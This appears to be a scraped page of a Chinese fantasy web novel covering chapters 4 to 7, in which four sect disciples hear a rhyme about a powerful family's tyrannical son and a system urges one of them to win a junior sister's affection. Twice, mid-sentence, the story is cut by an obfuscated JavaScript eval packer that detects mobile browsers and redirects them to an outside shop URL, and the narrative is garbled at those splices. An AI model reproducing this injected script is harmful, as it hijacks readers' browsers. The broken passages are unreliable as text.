领头的小孩手举着呼呼旋转的风车。那风车图案奇特,旋转起来如同一张怒目圆睁的哭悲脸。 最后一个小孩跑得慢,鼻子下还坠着一根晶莹剔透的鼻涕,刚掉出来,又被他用力吸回去,还险些兜头把一脸的鼻涕全糊荀临身上。 “小孩儿,”荀临蹲下身去,拉住那转身就要跑的小孩儿问,“你们刚刚是在唱什么?” 那小孩被拦下,吓得结结巴巴:“不……不知道……” “玩去吧,”加欣合拍拍小孩后背,示意他去玩,又和荀临道,“这小孩太小了,连字都不认识,哪里会知道那童谣是什么意思。” 荀临远眺向这座热闹非凡的城镇,眉头却渐渐拧起:“妖精吃人肉,吃人吐骨头?这锦平城,难道还有妖物作祟?” 4. 第四章 第四章 “童谣嘛,多少都有点夸张的。我看这锦平城商贸繁荣,人来人往,太平得很。况且有师兄师姐在,只有妖鬼怕我们的份。” 岑无忧趴在马背上晃悠着腿,不以为然。 荀临转头看她,笑了一下,神色却若有所思。 不多会儿,万俟崖的身影重新出现在了人群中。 悠悠的炙羊肉味直往鼻子里钻,加欣合回过神,瞧见万俟崖手里的油纸包,惊了:“万俟师弟,你真去买羊肉馍了?” 万俟崖一顿,“师姐怎么知道的?” “小师妹刚猜的,”她促狭起来,目光在两人身上来回打量着,揶揄说,“你们还真是心有灵犀啊。” 万俟崖诧异地看向岑无忧。 高坐马背上的岑无忧一点不好意思也没有,朝他伸出手,勾了勾手指,理直气壮要羊肉馍。 “师妹怎么知道我是去买羊肉馍了?”万俟崖沉静问。 岑无忧答得敷衍:“自然是听到了。” “听到了?” 万俟崖迅速回想了一遍自己刚刚走时说了什么。他不确信地又在心里问了一遍系统:【我刚刚说我要去买羊肉馍了?】 009很肯定:【没有啊!】 它“桀桀桀”笑三声,又说:【师姐说得没错,这就叫心有灵犀!】 见他愣着没动,岑无忧“啧”一声,弯腰从他手上捞过两个羊肉馍,还递了一个给加欣合。 加欣合笑着道:“谢谢师妹。” “不客气。” 她不仅收了这句谢,还慷慨摆摆手,真是借花献佛的一把好手。 荀临望着万俟崖手里仅剩下的一个羊肉馍,“啧”一声问:“怎么?难道没有我的份了?” “师兄的。”万俟崖递出手里那个。 荀临笑道:“你呢?” 万俟崖:“我不吃羊肉。” “专程给我们买的?”荀临惊讶了一瞬,随即笑眯眯道,“多谢师弟了。” 加欣合咬着羊肉馍,也跟着道:“多谢师弟!” 万俟崖摇摇头。 看着吃得摇头晃脑的岑无忧,万俟崖不无希冀地在心底询问:【009,现在好感度多少了?】 009:【呃……这个……还是-1……!咦,刚刚变了,现在是0了!】 万俟崖:【…………】 他又看一眼岑无忧。他真的看不懂她。 如果可以,他真想看看她对荀临和加欣合的好感度是多少。如果也是0的话,那他心服口服。 “既然大家都饿了,那先找个酒楼吃饭吧。”荀临道。 这锦平城商业繁荣,连百姓也格外富有,非节非假的,城里的酒楼竟然家家饱满。 他们四人辗转问了三家酒楼,这才找到一家正好空出来一间雅间的。 这酒楼临河,大堂内人声鼎沸,上了楼倒是安静了起来。 一进雅间,小二将移门合上,顿时静得只听得到打开的窗外哗哗流淌的水声。 万俟崖走到窗边往外看了看。 窗外是一条穿城而过的河。 正是初春时节,岸边杨柳嫩绿,枝条洒落在河面上,柔柔的水波荡漾。 棹夫划着船,带起长长的涟漪,河岸一侧的水埠头蹲着几个妇人正搓洗着衣裳。 几个小孩从巷坊里钻出来,大声叫嚷着什么。 孩童的声音清脆响亮,间或掺杂着几声妇女的责骂声。 荀临也走到窗边,瞧见一妇人高挽着袖口,手里举着捣衣锤,冲几个小孩斥道:“谁叫你们来河边玩的?赶紧都回家去!” 那几个小孩不以为然,做个鬼脸,还“创作”了一番,大声念着:“……妖精吃人吐骨头,二婶杀人血漂流!” “嘿!这几个死孩子!看我不揍死你们!” 荀临问万俟崖:“师弟可听清这些孩子念的童谣原本是什么内容了?” “似乎是,‘山里妖精吃人肉,妖精吃人吐骨头,彦儿杀人血漂流。宁遇厉鬼索命来,莫见贺家小阎罗’?” 加欣合听到了,赞一声:“师弟记性真好。” 万俟崖摸摸鼻子,心想这是以前背书背多了,练出来了。 “照这么说,这重点不在妖精,而是‘彦儿’?”加欣合看向荀临。 岑无忧没管什么童谣不童谣的,正和小二报菜名,一连串报了七八个菜。 小二又把她报过的菜名唱了一遍,见她还要加菜,小二赔笑道:“客官,你们四位吃这几个菜尽够了,再多,可就浮费了。” 荀临同小二道:“仁兄,刚刚听楼下的孩子在唱一首童谣,不知仁兄可知这童谣的来历?” “公子可折煞小的了。这童谣是这些时日才传来我们锦平城的,据说说的是京城首辅家的贺彦兒,不过到底是怎么一回事,小的也就不清楚了。” 荀临折扇一收,“京城?” “是啊,我们锦平城和京城离得近,且依着一条运河,往来客商又多,但凡京城有些什么时行的东西,不多久就会传到我们锦平城来。” “原来是这么回事,多谢了。” “公子客气了。四位点了八个菜了,看看还要不要上坛子好酒?” 岑无忧立刻问:“可有些什么好酒?” “几位客官若是酒量好,可试试这神仙倒,开坛十里香,入口比蜜还甜,就是神仙喝了也得倒三倒!若是只小酌怡情,可以尝尝这碧落春。” “神仙倒?” 岑无忧眼睛立马亮了,正要说“上坛好酒来”,荀临道:“神仙倒听过,这碧落春倒是头回听。” “这碧落春也是最近才时行的薄酒,既解了酒虫,又不耽误办事,最近往来的客商都好这一口。” “那就上一坛子碧落春吧。”加欣合道。 荀临补充:“再上一壶好茶。小师妹不吃酒。” 岑无忧要抗议的话到了嘴边又落了下去,她心念一转,心想等上了酒,喝不喝还不是她说了算? 009:【宿主!你听到了吗,小师妹就是想喝神仙倒,你给她点壶神仙倒,她对你的好感度肯定会涨的!!】 岑无忧的视线唰地看向了万俟崖。对上她炯炯有神的视线,万俟崖愣了一愣。 顿了一会儿,万俟崖回答009:【未成年禁止饮酒。】 009:【好吧……有道理,那算了。】 岑无忧移开了目光,一只手支着下巴,撇了撇嘴。 009猛地倒吸了一口凉气:【!!!宿主不好了!!小师妹的好感度又掉了,又又又变成-1了!】 万俟崖唰地看向了岑无忧,只瞧见她扎着两个揪揪圆咕隆咚的后脑勺。 009:【肯定是因为没人给她点神仙倒!她不高兴了。宿主!!好感度啊!!】 万俟崖咬牙切齿:【负成一百也不行!】 好酒好菜上了桌,两位师兄皆不赞成小师妹喝酒,耐不住师姐是个会惯孩子的,偷偷给岑无忧倒了一杯碧落春。 岑无忧一口饮下,砸吧砸吧嘴,很是失望。 这碧落春口感微辛微甜,却没什么后劲,就是带点酒香的水,吃下去没滋没味,不仅没有安抚岑无忧一肚子的酒虫,反而把酒虫全都勾起来了。 吃过午食,荀临说着正午日头正大,让马吃饱休息好再上路。加欣合正想带小师妹去成衣铺买新衣服,两相一合,找了家客栈暂作休息。 荀临有午时打坐的习惯,万俟崖对逛街这件事没有什么兴趣,但耐不住009一直在他脑子里聒噪,只得抱着剑陪两个姑娘去买衣服。 岑无忧对什么都半炷香热度,刚出来时看街上什么都有意思,逛了一会儿衣铺,试了两套衣裳就乏味了。 加欣合正兴味盎然地替她挑选着新裙子。 岑无忧百般聊赖地坐在窗口嚼着点心,往窗外一瞧,忽然瞧见一老者挑着担子,吆喝着:“神仙倒!上好的神仙倒!” 岑无忧顿时眼睛一亮。 “哎呦……哎哟哟……”她捂住肚子做出痛色,起身朝加欣合道,“师姐,我肚子疼,你先挑,我去去就回来。” “怎么了?莫不是中午吃坏肚子了?”加欣合急走来,满脸担忧。 “不知道,我急!很急!我先去了!” “我陪你……” 没等加欣合说完,岑无忧就连忙道:“不用不用!你们先逛着,我去去就回!” 说着,她急忙捂着肚子下了楼。 加欣合看着岑无忧急匆匆的背影,长眉紧拧,“小师妹这是怎么了?不应该吃坏了肚子就腹痛啊?莫不成……是中毒了?” 万俟崖也察觉不对劲,道:“我去追师妹。” 说着,他也下了楼。 仅仅几息的工夫,他赶到楼下时已经不见了岑无忧的身影。 他向楼下掌柜问岑无忧的去处。掌柜一指前门,说刚刚下来那姑娘已经出去。 万俟崖再问:“此处可有茅房?” 掌柜一指后院:“后边。” 万俟崖转过身再望向前门,眯起了眼。 走出门,果然门外也已经没了岑无忧的身影。 岑无忧已经三两下追上了那老翁。 老翁被她拦下后,笑呵呵自称是给酒楼送酒的,还多出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抬手向万俟崖劈去。万俟崖抬手将酒坛往空中一抛,闪身躲开,正要用剑鞘去接酒坛子。 岑无忧脚下一点,直朝酒坛跃去,万俟崖接酒的剑鞘瞬间一撇,将坛子一剑打飞。 那一坛子酒瞬间哐当撞上了墙,摔了个稀巴烂,酒香瞬间在巷子里炸开。 岑无忧心都开始滴血。 她当即转头朝万俟崖怒目而视,“你赔我酒!” “你年纪小小,喝什么酒?”他冷声。 岑无忧怒从心起,为了这坛子酒,她已经忍了三日了,整整三日! 她一个鹞子翻身挣脱了束缚,脚下一蹬树枝,手做横刀再向万俟崖劈去。万俟崖见势急退,反手持剑,并不正面迎击。 岑无忧手往袖子里一掏,三道白影直直向万俟崖射过来。 他下意识想躲,却惊觉这三道白影隐隐成一道阵法,封死了他的去路,心下当即掀起了惊涛骇浪。 他立刻抬剑相挡,“乒乒乒”三声,竟振得他虎口发麻。 “小师妹,你!” 他刚落下剑,话音未落,只见第四道白影直直飞来,“啪”一声砸他脸上,重得他嘶了口气。 他抹了把脸,摸到了些许糕点残渣,再看脚下,赫然是四块百合糕。 岑无忧不依不饶,身影直向万俟崖飞来,还要揍他。 万俟崖却听见巷口有几道急声,是几个男人喊着:“有贼!有贼!刚刚在屋顶上飞,现在往巷子里去了!” 他一把擒住岑无忧的胳膊,压声道:“有人来了!” 岑无忧动作微顿。他立刻抓着岑无忧的胳膊闪身进了巷道后的一处拐角处。 不一会儿,只见三四个男子持着犁耙,棒子冲进巷子里,喊道:“人呢?!” “你们看,这里有酒,定然是那贼偷了酒,见我们来了,急忙跑了!” “定是在那边,追!” 万俟崖将岑无忧抵在墙角处,伸手捂住了她的嘴,听见外面人声不见了,这才侧身看向巷口外。 岑无忧瞪着他,踩住他的脚,用力拧。 万俟崖额头青筋直跳。 直到确认那些人都走了,万俟崖才松开手,撤开脚,忍痛道:“你疯了?” 岑无忧推开他,头也不回地往外走。 万俟崖颧骨疼,脚也疼,低嘶了声,“看起来小小的,力气怎么这么大?” 直到这会儿偃旗息鼓,安静如鸡的009这会儿才颤声冒了出来:【宿……宿主……】 它嚎哭了起来:【完了!都完了!全都完了!】 万俟崖没好气:“又怎么了?” 009:【小师妹对你的好感度实现了新突破,目前好感度:-50!-50!天爷啊!我这整个统生也没见过这种数值啊!完了!我们都完了!】 万俟崖:“……” 他深呼吸一口气,朝着岑无忧头也不回的背影追了过去。 5. 第五章 第五章 “你们俩……这是怎么了?” 加欣合好不容易等到这两个人回来,却见两个人像是乌眼鸡似的,你瞪我一下,我斜你一眼,你拽我一下,我给你一肘。 “还有,万俟师弟,你这脸上怎么回事?”加欣合望着万俟崖脸上青紫的一块,匪夷所思。 万俟崖抬手擦了一下脸上伤处,语气寡淡,“没留意,不小心撞柱子上了。” “撞柱子上了?”加欣合眼神在两人身上转了一圈,满眼狐疑,又问岑无忧,“小师妹,你肚子还疼吗?” 岑无忧目不斜视,淡淡道:“没事了。” 见两人都不阴不阳的,思量片刻,加欣合品过味来了,意味深长地“哦”了一声,乐不可支道:“吵架了?怎么还像小孩似的,一言不合就搞冷战?说说怎么回事,师姐给你们判判案。” 岑无忧冷着脸懒得开口。 万俟崖转开话题:“师姐,我们出来有段时间了,师兄还在客栈,我们要不回去了吧。” “这时辰是差不多了。”加欣合看看天色,随即又拉过岑无忧,将一套鹅黄色的衣服托盘递给岑无忧,推着她往试衣间去,“去试试,看看师姐的眼光!” 岑无忧推一下动一下地被按进了试衣间。 过了半刻钟的工夫,岑无忧再从试衣间里出来,顿时叫人眼前一亮。 浅鹅黄的上衣领口滚了一圈白色的兔毛边,下裙是杏黄的百迭罗裙,裙摆上还有折枝金桂的纹样,腰上系带坠着两颗小巧的金铃铛,走起路来叮铃作响,像是哪家的闺阁千金,明媚又娇俏。 加欣合绕着岑无忧直转圈,喜不自胜:“哎呀呀,太可爱了,像个香香软软的桂花糖糕一样!” 店小二也忙赞道:“这鹅黄色最挑人了,姑娘穿起来倒把这衣服都显得更贵气了!” “真会说话。”加欣合笑得合不拢嘴,见万俟崖依旧扭着头看着窗外,不往小师妹身上瞧一眼,她“啧”一声,“师弟,你看看,小师妹穿这衣服是不是很合适!” 万俟崖回头看了一眼。 009在他的脑海里垂死病中惊坐起:【啊啊啊啊啊!!宿主!!!是桂花味的限定小师妹!!快夸啊!!!我教你!!‘小师妹实乃仙人也!简直是月宫里的神兔下凡!我在瑶池边等了五百年都没见过这么好看的仙女!!见了小师妹才知道,原来不用成仙就能看见仙’!!说啊!!】 万俟崖:“…………” 慢了一拍,他又立刻转开头去盯着窗外,只是视线慌乱游移。 “怎么样啊?”加欣合不依不饶。 “还行。”他闷闷说。 009恨铁不成钢:【还行?!你管这叫还行?!你是不是瞎啊宿主!!】 岑无忧朝他翻了个白眼,懒得瞧他。 三人走出成衣铺,两个姑娘走在前头,挽着胳膊,头凑着头说悄悄话。 万俟崖走在两人身后,长剑挂回了腰上,两只手拎满了东西,冷着脸,活脱脱一个陪两个大小姐逛街的长随。 找回荀临休息的客栈,三人径直上了楼。 “你们大师兄的酒量不是一般的差,说不定是睡下了。”加欣合说着,先叩了叩门,道,“荀临?你起来没有?” 三人等了片刻,没听到里面有回应。加欣合又用力叩了几下,“荀临?” “师兄不在房间。”岑无忧说。 “不在房间?” 加欣合双手一用力,径直推开了门。 房间内一切整洁,连床榻上的被褥也没有乱,只有茶桌旁的一条椅子倾移了一些,证实这房间的确是住过人的。 “他人呢?”加欣合大惊。 万俟崖迅速走到窗边,打开窗往外看,见客栈后院的马厩里,他们的三匹马还在低头吃草料。 “马还在,师兄或许是出去找我们了。” “不能啊,他即便醒了也应该会在客栈等我们啊。” 岑无忧在桌边坐下,端起茶壶给自己倒了杯水:“那我们就等会儿他吧。” 半个多时辰后,荀临终于回来了。 只见加欣合门神一样气势汹汹堵在门外,小师妹坐在桌边支着下巴发呆,师弟则抱臂站在窗边,低垂着头,也不知道在想什么。 一见他上楼,三人同时扭头看了过来。 加欣合瞪眼问:“你去哪了?” 荀临手里还持着那把扇子,双手一合将扇收起,笑吟吟道:“我去城中四处转了转,看看能不能打探到关于那童谣是不是确有其事。” 见他说正事,加欣合敛色,“那有打听到什么吗?” 荀临负着手,迈着四方步走进房间,“我在一家茶楼打听了,这童谣说的就是京城首辅贺家的儿子贺彦兒。这贺彦兒在京城称得上是一霸,欺男霸女无恶不作,横行霸道,草菅人命,罪孽深重,恶名可止小儿夜啼。” 加欣合闻言冷哼一声:“这些官宦子弟,身为官员家眷,不但不谨言慎行,反倒仗势欺人,而这些尸位素餐的官吏纵容自家子侄为非作歹,与强盗何异!我若是见了这贺彦兒,定然要杀了他替天行道!” 岑无忧双手支着下颌,看着茶叶在水里打转,兴致寥寥:“既然不是妖魔,那便不是我们能管的吧。” “师妹此话差矣!”加欣合按着剑柄,愤懑不平,“虽说我们这样的修士不能多管俗事,但贺彦兒这样的恶霸,若是能给他点教训,说不定还是功德一件!” 见荀临欲言又止,万俟崖也走回桌边,顿了一顿,和岑无忧隔了一个位置坐下,道:“师姐稍安勿躁,先听师兄说完。” 四人都在桌边落座。 荀临给自己倒了一杯茶,喝过一口后道:“我身上的因果线枝枝蔓蔓,绝非一般的怨念造成的。当时听到这童谣我便留了心,适才特意去查问,要不是细心,险些漏了线索。这贺彦兒年16,与我当年所救之人的年龄对不上,而这首辅年近五旬,也与我当年所救老者对不上,我再问,得知这首辅一家都是京畿本地人,定不会是我当年在南州所救的父女一家。” 见他大有从盘古开天地说起的架势,加欣合不耐将剑往桌上一拍,道:“能不能直接说重点?” “重点就是,我又多心问了几句,这才知道,这首辅夫人是个续弦,比首辅小了近十岁,而这贺彦兒正是续弦夫人所生。这续弦夫人上官氏,如若不错,定然就是我当年在滑县所救的那对父女中的女儿。” 荀临话音刚落,加欣合拍案而起道:“那还等什么?直接去找她问个清楚!” “不可,一来还只是猜测,无凭无据,二来身份有别,她已是首辅夫人,不是我们轻易能见到的了。” “我觉得,你身上的因果一定与这贺家有关。”加欣合十分笃定。 “还要等进了京才知道,”荀临向窗外看一眼,见日头西斜,他当机立断,“时候不早了,我们现在就走,还能在日暮前快马加鞭赶到京城,否则就要露宿荒野了。” 怕师妹第一次进京,对一些规矩不了解,加欣合同岑无忧解释:“从锦平城到京城,这一路多城郭,京畿又是禁止御剑的,因此我们骑马最快。” 岑无忧充当一个氛围组的作用,表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406133|200520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示:“我都行。” 衣服买了,马吃饱喝好,也有了后续的探查方向。荀临退了房间,四人牵着马即刻启程。 出城后四人沿着大路疾奔。荀临一马当先,万俟崖紧随其后,岑无忧和师姐同骑一匹马,落在最后。山野烂路,颠得岑无忧龇牙咧嘴。 一个半时辰后,到了一处水泊处,四人暂休片刻。 万俟崖扭头找岑无忧,正见她拱着身子,尺蠖一样往大树上爬,不待他过去,她就掰着树枝跨腿骑了上去,挂在了上边。 岑无忧躺平后长长吁了口气。 “师兄,还有多久到京城啊?”她扬声问。 荀临捞起水泊里的水洗了洗手,道:“小师妹,还有一个时辰的路程。可是累了?” “还有一个时辰?” 岑无忧长长叹口气,像条咸鱼一样摊开手脚把自己挂在了树上。 她已经不知道有多少年没有像今天这样骑过马了,还一骑就是好几个时辰,好几个时辰就算了,还骑半天都没到目的地,无聊都快把她无聊死了。 安静多时的001冷不丁又冒了出来,哼哼道:【你看,我说就待在山上多好,非得下山,不仅喝不到酒,还得不停赶路,傻眼了吧!】 岑无忧理也不理它。 “师妹再忍忍,日暮后城门就要关了,我们早点进城,晚上也好落脚。”加欣合安慰她。 “师姐——为什么我们宗门没有传送阵啊?”岑无忧拖长了声音问。 加欣合无奈笑笑:“我们寻山派是个小门派,传送阵每次开启都要烧掉大量灵石,那得是天玄宗那样的大宗门才用得起的。” 归根结底就是一个字——穷! 岑无忧再次叹气。 想起过去吃香喝辣,随心所欲,对天材地宝不屑一顾的日子,真是往事一去不复返,萧瑟啊! 她正闭目养神,忽觉有人靠近,她睁眼看去,只见万俟崖也飞身上了树,向她递出一个水壶:“喝水吗?” 岑无忧拒绝他的和好信号,闭上了眼睛,把他当空气。 有一老头子说过,七十应当从心所欲。她都五百多岁了,喝口酒怎么了?活了这么多年都白混了,到头来还被一小孩管着,憋屈! 感觉到她无名烧起的怒火,001立刻聪明地选择了安静如鸡。 009焦灼成了无头苍蝇:【完了完了,这次真的把小师妹得罪狠了,看都不想看你了,我们的任务可怎么办啊!!宿主,想想你还没领的工资、季度奖金、年终奖!想想你家里的五只小猫咪!你不回去,谁照顾它们,会活活饿死的啊!!】 009呜呜呜地干嚎了起来。 岑无忧烦不胜烦,烦躁地瞪了万俟崖一眼:“吵死了,你能不能离我远点?!” 万俟崖:“……?我没吭声吧。” “你喘气吵到我了,离我远点去!” 岑无忧转过身去,余光也不想瞥见他。 “你真是……”他从后槽牙里挤出来一句,“蛮不讲理!” 009哭得更大声了:【呜呜呜宿主你还挑衅小师妹!好感度又要掉了啊!!】 万俟崖正要再说什么,忽听远处的山林里一阵急促杂乱的脚步声,伴随着几声撕心裂肺的求救哭喊:“救命啊——!救命啊——!” 他心弦一紧,转头望去。 树下,荀临和加欣合也已然按住了腰间的剑柄。 “都别动,我去看看,你们照顾好小师妹。”荀临沉声交代。 树上闭目小憩的岑无忧也慢慢睁开了眼,适才还烦躁的眼眸一片清明。 6. 第六章 第六章 山林间人烟稀少,静得连踩在落叶上的咯吱声都一清二楚。 荀临握着剑柄走入林间,步步谨慎。 好一会儿也不见人迹,他心生狐疑,并指在额前一抹,灵眼洞开,十几丈远的地方霎时出现些许凌乱足迹和淡淡的红色血气。 他眉头一皱,提步赶去,在看清树后情景时轻吸了一口气。 只见地上鲜血飞溅,染红了草木,却不见人影。 附近可见有几道新鲜的足印,一大一小,结合他们适才听到的呼救声,小的约莫是个女子,可足迹到树干处就消失了。 他细看那喷射的血迹,判断那女子兴许是被逼到无路可逃后一刀抹了脖颈,且血迹极其新鲜,大抵就是刚刚他们听见呼救时发生的事。 荀临手上掐卦,心头却猛地一沉——他算不出此人吉凶。 既没有尸首,也没有离开的脚印,就像是……刚刚呼救的人凭空消失了一样。 荀临沉沉抬眼,沿着山路一直望去。 能有遮蔽天机的修为,若非大妖就是大邪。 思考了片刻要不要追查下去,想到还在原地等待的师弟师妹,荀临紧了紧手里的剑。 他们三人倒不要紧,但这次下山带上了小师妹,若遇上功力高强的妖邪恐怕难免疏漏,至少得先进城把小师妹安顿好。 他又警惕地环顾周遭,确认再没有任何动静,这才回头。 一刻钟后,见他紧皱眉头走回来,加欣合凝重迎上前问:“怎么样?可是有人在呼救?” “有血迹,却没有人。” “没人?是已经逃脱了,还是遇害了?” 荀临看一眼呆坐在树上的小师妹,心想说出来她恐怕要害怕了,因此没有正面回答加欣合,只道:“此地古怪,不宜久留,我们启程吧。” 听他这么说,加欣合也就明白他的意思了,心头沉重了几分,“我去牵马。” 她话音刚落,山林里传来一阵鸦雀惊叫,四人同时转头惊看去,只见远处一片鸟雀齐飞。 岑无忧坐起身,单腿悬挂着,眯了眯眼睛。 在她的眼中,山林间弥漫着森森的灰雾如蛇蟒般冲天而起。 真是好重的怨气和邪气啊…… 加欣合很不放心,小声问荀临:“你刚刚说没有人,那可有妖气?” 荀临安抚道:“我用灵鉴天眼没有看出妖气。” 加欣合不疑有他,稍稍放了心。 他们二人说得小声,连万俟崖也没有听见,岑无忧却在荀临说到“灵鉴天眼”四字时,微垂眼睑盯了荀临一会。 斟酌片刻,荀临扬声若无其事道:“既然看不出什么,正事要紧,先进城吧。” 万俟崖站在枝丫上,看看远处山林,又看看岑无忧,直觉这次的任务恐怕并不简单,若是有危险…… 探查到他竟然有把小师妹送回去的想法,009在他脑子里一个劲地叨叨起来:【宿主!按照电视剧的发展,越是危机四伏,就越是关系突破的关键时刻。只要你能英雄救美,小师妹一定会对你生出好感的!这次下山游历就是最佳的刷好感时机!万事开头难!但是希望的黎明就在眼前了!】 万俟崖沉默片刻,反问:【你不觉得其实什么都不做,好感度反而更高吗?】 想到-50的好感度,009也是两眼一黑。 009不承认是自己的策略问题,并给出一盆鸡血:【不能这么消极啊,宿主!想想你的好感度已经能有近五十的浮动,说明你在小师妹心里还是很特别的!】 万俟崖语气很淡:【好感度-50的特别吗?那太特别了,凌晨三点打架进局子让我去捞人的学生在我心里也这么‘特别’。】 作为辅助恋爱系统的009也很绝望,悻悻地转移开话题:【宿主,小师妹还挂在树上,你要不先扶她下来吧……】 万俟崖回头看岑无忧,见她撑坐在树干上,欲下不下的样子,犹豫片刻,还是朝她伸出了手:“下来吧,我接着你。” 岑无忧瞥他一眼,飞身跃下,把他当空气,哏啾啾地走了。 圆溜溜的后脑勺,还扎着两个小揪揪,发带飘飘,从他眼前拂过。 万俟崖突然想起了过年时扎两个小包子头的小外甥女,手有点痒痒,很想捏那揪揪一下。 仿佛有所感觉,岑无忧回头冷脸盯了他一眼。万俟崖若无其事地移开了目光,抬头望天。 感知到宿主想法的009:【……】 我的宿主啊!!不要再挑衅攻略对象了!! 赶在日暮之前,四人终于进了城。 人乏马疲,岑无忧也喊饿,四人找了家面摊先简单吃点。 荀临和加欣合各要了一碗笋泼面。万俟崖对着菜单挑了半天,最后点了一碗鸡丝面。岑无忧最夸张,把猪羊浇头、三鲜、鱼桐皮,统统点了一遍,面碗堆得和小山似的,多得摆了三个碗才装下。 荀临打趣她:“小师妹,你现在就吃饱了,待会儿还有一条长街的吃食,还逛不逛了?” 加欣合很仗义:“小师妹尽管吃,吃不完的就分给我!” 岑无忧搅和搅和,张大嘴咬下了一大口面,腮帮子鼓鼓囊囊的,含糊地“唔唔”了两声。 除了岑无忧,其余三人皆已经迈入了辟谷的筑基期,口腹之欲不强,只是到了凡人的地界,多少也要吃一些。 加欣合又看坐在对面,面露迟疑的师弟。只见他盯着面碗看了好一会儿才从竹筒里取出一双筷子,迟疑片刻,竟把那筷子倒过来使。 昏黄的烛火落在他脸上,他眉头紧皱,仿佛吃得不是面,是砒霜。 亲眼看着面店小二提着一桶碗筷就近在河里荡了荡就拎回来,继续给下一波客人用,万俟崖心情很复杂。 009正在他脑子里爆笑:【宿主,放心吧,虽然这里没有市场监管局,食品安全很糊弄,但你现在已经是筑基修士体质了,不会拉肚子的,俗话说得好,不干不净,吃了没病!】 岑无忧也看了万俟崖一眼,只见他好半响才握着筷子挑拣出了一根面条,吃得很是勉强。 她撇撇嘴,移开了眼。 一刻钟后,荀临和加欣合先后吃完了面。岑无忧端起汤碗,咕噜咕噜将一碗汤尽数吃下,又掰了两个肉馍塞进肚子。只有万俟崖还剩着大半碗面。 荀临见了直摇头:“师弟,你现在可是长身体的年纪,你师兄我在你这个年纪,至少吃五大碗才算开胃。” 万俟崖默然。 岑无忧咬了一口手里的肉馍,含糊不清地嘟囔:“饿过肚子,富贵病就好了。” 见她小小年纪一副老气横秋的口吻,荀临好笑:“师妹倒是颇有感慨。” “那当然,”岑无忧说,“草根我也吃过。” 她话音一落,其余三人却皆怔住了,想起了她的来处。 两年前,他们三人身陷瘴谷,阵法难解,毒瘴遍野,小师妹恰如神女天降,轻车熟路带他们走出了谷内。 起初他们以为小师妹是哪位隐世高人的弟子,后来才知晓小师妹不过是独自一人在山里打猎的孤女,明明自己都无依无靠,却还毫不吝啬地把仅剩的珍贵草药拿来给他们治伤。 乍听她提 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“这两年光是街坊四邻瞧见的,就抬出来几十具尸身了吧?” “自打老太傅去世,这贺小阎王就没了顾虑……前不久那竹竿巷子里就有人瞧见那贺府的下人强掳民女……光天化日,真是岂有此理……” “这可是天子脚下,竟没有一个官敢管这些人命案子吗?” “这贺小阎王有个登阁拜相的爹,莫说小官,便是那京兆尹不也上赶着巴结贺阁老,官官相护,便是想去敲登闻鼓,恐怕还没出家门就断送了性命。” “做下人的,说打说杀不都是主家一句话的事?最多不过赔二两银子,那些大老爷,谁把我们的命当命?” “难道他们就不怕这民怨沸沸……” “住嘴,快住嘴!我看你是真想砍头了!” 谈起贺家的闲聊声低了下去,几人生硬转移了话题,似乎生怕惹祸上身。 那含着怨气的牢骚被淹没,面食店里依旧人声鼎沸,热气蒸腾。 加欣合看了一眼荀临,他神色淡淡,瞧不出什么情绪,只是眼底一抹漆黑越发的沉了。 她凑过去,低声问:“你说他们说的那个林子,会不会是我们今日路过的那一片?” “问问就知道了。”荀临说。 加欣合便立马回过身,问道:“你们说的那林子……” 她话还没说完,那几人面色大变,满脸惊惶,摆手道:“我们什么都没说!” “不是,我只是……” 加欣合话还没说完,那几人竟径直起身,逃似的走了。 这贺家,竟这么可怖? 加欣合愣了愣。 邻桌的闲话散去。荀临端起茶杯,茶已凉透。 “我想好了,”他放下茶杯,“明日我去贺家附近看看。” 加欣合点头,“我也去。” “我……” 岑无忧才刚开个口,荀临想也没想道:“你在客栈等我们。” 岑无忧便咽下了后半句“就不用去了吧”,点头乖乖应好,垂着眼睛还有些失落的样子。 加欣合摸摸她脑袋:“明天等我们回来给你带好吃的。” 岑无忧“勉为其难”点点头,依旧蔫哒哒的模样,好似很不情愿被留下。 009看得心酸酸的,小声说:【小师妹看起来好失落。】 万俟崖手指动了动,却也不能像加欣合一样摸摸她脑袋,他微抿紧唇,忽而道:“我也留下。” 岑无忧唰地抬了头:? 7. 第七章 第七章 不待岑无忧再发出异议,荀临愉快地做了安排。明天他和加欣合去探贺家,师弟师妹留在客栈支应。 当然,支应只是个好听点的说法,其实就是怕她无聊,留下万俟崖陪她玩。 岑无忧不是很想领情,但想想万俟崖总不可能十二个时辰盯着她,遂勉强同意了安排。 离开面店,几人正儿八经逛起了夜市。 荀临和加欣合都是世家出身,自幼锦衣玉食,对街市上的小玩意没什么特别稀罕的。万俟崖多数时候也只看看,没什么特别想买的东西。 只有岑无忧,虽然兜里银子不多,却能一个人花四个荷包,花得毫不客气,凡是摸过的通通都买下。 009几次想怂恿万俟崖“表现表现”,一扭头发现师兄师姐已经抢着给了银子,很是挫败。 谁懂啊!!它的宿主真的很摆烂!!一戳一蹦跶,不戳不蹦跶!!到底是谁谈恋爱!! 又一次被师姐抢了先,看着小师妹兴高采烈的笑脸,009很无奈:【宿主,你能不能主动一点,再这样下去,小师妹喜欢上师姐的概率都比喜欢上你的概率大!!】 万俟崖:【女孩子之间走得近很正常。】 009:【但你才是那个要攻略小师妹的人啊喂!!难道你就一点都不想回到现代吗!!想想你的父母,你的兄弟姐妹,你的猫,你的朋友,你的工作……】 万俟崖:【我爸有三个私生子,我和他们不熟,我的猫朋友会照顾,我的朋友有他自己的人生,工作没了我单位不会停转。】 009:【……】 所以它为什么会绑定这么一个毫无驱动力的宿主啊喂!! 